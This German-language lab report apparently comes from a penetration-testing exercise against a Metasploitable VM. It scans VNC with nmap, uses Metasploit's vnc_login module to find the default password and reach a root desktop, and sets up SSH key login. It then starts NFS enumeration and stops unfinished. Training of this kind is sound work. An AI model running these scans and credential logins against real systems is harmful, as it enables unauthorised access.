← Alle Berichte / VNC Exploitation

Arbeitsbericht: VNC Exploitation

Inhaltsverzeichnis

  1. VNC Exploitation
  2. portmapper / NFS vulnerability

IP Metasploitable: 192.168.8.51 IP Kali: 192.168.8.56

1. VNC Exploitation

1.1 VNC Recherche

VNC (Virtual Network Computing) ist ein Remote‑Desktop System.
Damit kann man den Bildschirm eines anderen Computers ĂŒber ein Netzwerk sehen und steuern.

Funktionsweise

Komponenten

Standard Ports

Sicherheitsprobleme

1.2 VNC Scan

Zuerst wird ĂŒberprĂŒft, ob der VNC Port auf dem Metasploitable System offen ist.

nmap -p 5900 192.168.8.51

Ergebnis: Port offen

ZusÀtzlich kann das nmap Script vnc-info verwendet werden.

nmap -p 5900 --script vnc-info <Metasploitable-IP>

Dieses Script zeigt zusÀtzliche Informationen wie:

$ nmap -p 5900 --script vnc-info 192.168.8.51
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-09 07:19 EDT
Nmap scan report for 192.168.8.51
Host is up (0.00066s latency).

PORT     STATE SERVICE
5900/tcp open  vnc
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
MAC Address: 00:0C:29:7B:38:F0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

1.3 VNC Exploit

Metasploitable enthÀlt eine Schwachstelle im VNC Server.

Modul laden

use auxiliary/scanner/vnc/vnc_login

Ziel setzen

set RHOSTS <Metasploitable-IP>
set RPORT 5900

Scan starten

run

Ergebnis:

msf6 auxiliary(scanner/vnc/vnc_login) > run
[*] 192.168.8.51:5900     - 192.168.8.51:5900 - Starting VNC login sweep
[!] 192.168.8.51:5900     - No active DB -- Credential data will not be saved!
[+] 192.168.8.51:5900     - 192.168.8.51:5900 - Login Successful: :password
[*] 192.168.8.51:5900     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Verbindung mit VNC Viewer

Nach dem erfolgreichen Login kann eine Verbindung aufgebaut werden.

vncviewer 192.168.8.51:5900

Wenn das Passwort verlangt wird:

password

Ergebnis

Nach erfolgreicher Verbindung wird der Desktop des Metasploitable Systems angezeigt.

Eingeloggter User: root


2. portmapper/nfs vulnerability

2.1 ssh auf Metasploitable

Zuerst wird auf dem Kali System ein RSA SSH Key erzeugt.

ssh-keygen -t rsa

Der Public Key wird anschließend auf Metasploitable kopiert.

─$ ssh-copy-id -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.8.51
   
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/kali/.ssh/id_rsa.pub"
The authenticity of host '192.168.8.51 (192.168.8.51)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
msfadmin@192.168.8.51's password: 

Number of key(s) added: 1

Now try logging into the machine, with: "ssh -o 'HostKeyAlgorithms=+ssh-rsa' -o 'PubkeyAcceptedAlgorithms=+ssh-rsa' 'msfadmin@192.168.8.51'"
and check to make sure that only the key(s) you wanted were added.

Der Public Key wird auf Metasploitable in folgender Datei gespeichert:

~/.ssh/authorized_keys

Diese Datei enthĂ€lt alle Public Keys, die sich ohne Passwort anmelden dĂŒrfen.

Verbindung testen

$ ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.8.51

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Mon Jan 26 08:12:05 2026 from 192.168.8.56
msfadmin@metasploitable:~$ 

=> Verbindung erfolgreich ohne Passwort

2.2 portmapper/nfs

NFS (Network File System) ist ein Protokoll, mit dem ein Computer Dateien ĂŒber ein Netzwerk freigeben kann.
Andere Systeme können diese Verzeichnisse einbinden und wie lokale Ordner verwenden.

Zusammenhang mit Portmapper

Der Portmapper (rpcbind) verwaltet RPC‑Dienste wie NFS und teilt Clients mit, auf welchen Ports diese Dienste laufen.

Wichtige Ports:

Port Dienst
111 Portmapper / RPC
2049 NFS

Wenn ein NFS‑Share falsch konfiguriert ist (z.B. no_root_squash), können Angreifer Dateien im System verĂ€ndern.

Zuerst wird ĂŒberprĂŒft, ob Portmapper und NFS aktiv sind.

nmap -p 111,2049 -sV 192.168.8.51

–> Beide Ports offen

NFS Shares anzeigen

nmap --script nfs-showmount 192.168.8.51

–> Zeigt, welche Ordner sind ĂŒber NFS freigegeben

Leider mit der Übung nicht fertig geworden